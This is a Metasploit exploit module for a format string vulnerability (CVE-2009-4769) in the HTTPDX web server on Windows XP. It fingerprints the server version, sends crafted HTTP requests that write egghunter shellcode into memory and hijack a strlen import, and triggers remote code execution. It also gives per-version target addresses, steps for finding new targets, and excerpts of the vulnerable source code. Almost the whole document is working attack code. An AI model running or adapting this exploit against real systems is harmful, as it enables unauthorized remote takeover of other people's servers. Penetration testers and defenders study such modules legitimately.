httpdx – ‘tolog()’ Format String (Metasploit) (2)
## # $Id: httpdx_tolog_format.rb 10150 2010-08-25 20:55:37Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Egghunter include Msf::Exploit::FormatString def initialize(info = {}) super(update_info(info, 'Name' => 'HTTPDX tolog() Function Format String Vulnerability', 'Description' => %q{ This module exploits a format string vulnerability in HTTPDX HTTP server. By sending an specially crafted HTTP request containing format specifiers, an attacker can corrupt memory and execute arbitrary code. By default logging is off for HTTP, but enabled for the 'moderator' user via FTP. }, 'Author' => [ 'jduck' # original discovery and metasploit module ], 'Version' => '$Revision: 10150 $', 'References' => [ [ 'CVE', '2009-4769' ], [ 'OSVDB', '60182' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process' }, 'Privileged' => true, 'Payload' => { # format string max length 'Space' => 1024, 'BadChars' => "\x00\x0a\x0d\x25\x2f\x3f\x5c", 'DisableNops' => 'True', 'StackAdjustment' => -1500 }, 'Platform' => 'win', 'Targets' => [ # # Automatic targeting via fingerprinting # [ 'Automatic Targeting', { 'auto' => true } ], # # specific targets # [ 'httpdx 1.4 - Windows XP SP3 English', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.5 - Windows XP SP3 English', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6 - Windows XP SP3 English', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.4.6b - Windows XP SP3 English', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], [ 'httpdx 1.5 - Windows XP SP3 English', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0x64f87810, # empty space in core.dll imports 'FlowHook' => 0x64f870e8 # core.dll import for strlen } ], # # Debugging target # [ 'Debug target', { 'PadBytes' => 2, 'NumPops' => 22, 'Writable' => 0xfeedfed5, 'FlowHook' => 0xdeadbeef } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Nov 17 2009')) =begin NOTE: Even though all targets have the same addresses now, future targets may not. To find a target: 1. open "core.dll" in IDA Pro 2. navigate to the "c_wildcmp" function 3. follow the xref to the first strlen 4. follow the xref to the imports area 5. copy/paste the address 6. the 'Writable' value should be anything after the last address IDA shows.. (preferably something above 0x0d, to avoid bad chars) If crashes occur referencing strange values, 'NumPops' probably needs adjusting. For now, that will have to be done manually. =end end def check version = get_version if version print_status("HTTPDX version detected : #{version}") if (version =~ /1\.4/) or (version == "1.5") return Exploit::CheckCode::Vulnerable end end Exploit::CheckCode::Safe end def exploit # an empty host header gives us 512 bytes in the client structure # (the client->filereq and client->host buffers are adjacement in memory) datastore['VHOST'] = '' # Use a copy of the target mytarget = target if (target['auto']) mytarget = nil print_status("Automatically detecting the target...") version = get_version if not version raise RuntimeError, "The server doesn't appear to be running a vulnerable version of HTTPDX" end re = Regexp.new(Regexp.escape(version)+' - ', true) self.targets.each do |t| if (re.match(t.name)) mytarget = t break end end if (not mytarget) raise RuntimeError, 'Unable to automatically detect exploitation parameters' end print_status("Selected Target: #{mytarget.name}") else print_status("Trying target #{mytarget.name}...") end # proceed with chosen target... # '<ip> [Tue, 17 Nov 2009 18:22:12 GMT] "<GET/POST> /' ip_length = Rex::Socket.source_address(datastore['RHOST']).length num_start = ip_length + 2 + 29 + 3 + 3 + 2 # use the egghunter! eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true }) # write shellcode to 'writable' (all at once) fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget) fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20') print_status(" payload format string buffer is #{fmtbuf.length} bytes") send_request_raw({ 'uri' => fmtbuf }) # write 'writable' addr to flowhook (execute shellcode) # NOTE: the resulting two writes must be done at the same time fmtbuf = generate_fmt_two_shorts(num_start, mytarget['FlowHook'], mytarget['Writable'], mytarget) # add payload to the end fmtbuf << eh_egg fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20') print_status(" hijacker format string buffer is #{fmtbuf.length} bytes") send_request_raw({ 'uri' => fmtbuf }) disconnect # connect again to trigger shellcode select(nil, nil, nil, 1.5) print_status(" triggering shellcode now") print_status("Please be patient, the egg hunter may take a while...") connect handler end def get_version info = http_fingerprint # Custom version extraction / automatic target if info and (info =~ /httpdx\/(.*) \(Win32\)/) return $1 end nil end end =begin also present in 1.5 (presumably all versions in between) 1.4/httpdx_src/ftp.cpp: 544 //printf(out); 545 char af[MAX] = {0}; 546 if(isset(out) && client->serve.log || client->serve.debug) 547 snprintf(af,sizeof(af)-1,"%s\n%s%s\n",client->addr,client->cmd,out); 548 if(isset(out) && client->serve.log) 549 tolog(client->serve.accessl,af); 550 if(isset(out) && client->serve.debug) 551 printf(af); 1.4/httpdx_src/http.cpp: 172 char af[MAX] = {0}; 173 if(client.serve.log || client.serve.debug) 174 snprintf(af,sizeof(af)-1,"%s [%s] \"%s /%s HTTP/1.1\" %d\n",client.addr,timef,m[client.method-1],client.filereq,response.code); 175 if(client.serve.log) 176 tolog(client.serve.accessl,af); 177 if(client.serve.debug) 178 printf(af); =end |